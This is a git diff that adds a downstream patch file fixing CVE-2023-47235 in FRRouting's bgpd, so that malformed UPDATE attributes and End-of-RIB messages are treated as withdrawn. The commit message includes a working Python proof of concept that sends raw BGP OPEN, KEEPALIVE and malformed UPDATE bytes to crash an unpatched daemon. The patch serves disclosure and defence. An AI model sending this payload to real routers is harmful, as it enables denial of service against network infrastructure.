diff options
Diffstat (limited to '0005-CVE-2023-47235.patch')
| -rw-r--r-- | 0005-CVE-2023-47235.patch | 110 |
1 files changed, 110 insertions, 0 deletions
diff --git a/0005-CVE-2023-47235.patch b/0005-CVE-2023-47235.patch new file mode 100644 index 0000000..6d0504b --- /dev/null +++ b/0005-CVE-2023-47235.patch @@ -0,0 +1,110 @@ +From 71422bfe269e34b69d78f9fb02f30426f2fdef48 Mon Sep 17 00:00:00 2001 +From: rpm-build <rpm-build> +Date: Wed, 13 Dec 2023 16:59:46 +0100 +Subject: [PATCH] bgpd: Treat EOR as withdrawn to avoid unwanted handling of + malformed attrs + +Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be +processed as a normal UPDATE without mandatory attributes, that could lead +to harmful behavior. In this case, a crash for route-maps with the configuration +such as: + +``` +router bgp 65001 + no bgp ebgp-requires-policy + neighbor 127.0.0.1 remote-as external + neighbor 127.0.0.1 passive + neighbor 127.0.0.1 ebgp-multihop + neighbor 127.0.0.1 disable-connected-check + neighbor 127.0.0.1 update-source 127.0.0.2 + neighbor 127.0.0.1 timers 3 90 + neighbor 127.0.0.1 timers connect 1 + ! + address-family ipv4 unicast + neighbor 127.0.0.1 addpath-tx-all-paths + neighbor 127.0.0.1 default-originate + neighbor 127.0.0.1 route-map RM_IN in + exit-address-family +exit +! +route-map RM_IN permit 10 + set as-path prepend 200 +exit +``` + +Send a malformed optional transitive attribute: + +``` +import socket +import time + +OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02" +b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02" +b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00" +b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d" +b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01" +b"\x80\x00\x00\x00") + +KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\xff\xff\xff\xff\x00\x13\x04") + +UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b") + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('127.0.0.2', 179)) +s.send(OPEN) +data = s.recv(1024) +s.send(KEEPALIVE) +data = s.recv(1024) +s.send(UPDATE) +data = s.recv(1024) +time.sleep(100) +s.close() +``` + +Reported-by: Iggy Frankovic <iggyfran@amazon.com> +Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org> + +(cherry picked from commit 6814f2e0138a6ea5e1f83bdd9085d9a77999900b) +--- + bgpd/bgp_attr.c | 15 ++++++++++++--- + 1 file changed, 12 insertions(+), 3 deletions(-) + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index a121911..12a6953 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -3079,9 +3079,12 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr) + uint8_t type = 0; + + /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an +- * empty UPDATE. */ ++ * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it, ++ * we will pass it to be processed as a normal UPDATE without mandatory ++ * attributes, that could lead to harmful behavior. ++ */ + if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag) +- return BGP_ATTR_PARSE_PROCEED; ++ return BGP_ATTR_PARSE_WITHDRAW; + + /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required + to carry any other path attributes.", though if MP_REACH_NLRI or NLRI +@@ -3507,7 +3510,13 @@ done: + aspath_unintern(&as4_path); + + transit = bgp_attr_get_transit(attr); +- if (ret != BGP_ATTR_PARSE_ERROR) { ++ /* If we received an UPDATE with mandatory attributes, then ++ * the unrecognized transitive optional attribute of that ++ * path MUST be passed. Otherwise, it's an error, and from ++ * security perspective it might be very harmful if we continue ++ * here with the unrecognized attributes. ++ */ ++ if (ret == BGP_ATTR_PARSE_PROCEED) { + /* Finally intern unknown attribute. */ + if (transit) + bgp_attr_set_transit(attr, transit_intern(transit)); +-- +2.43.0 + |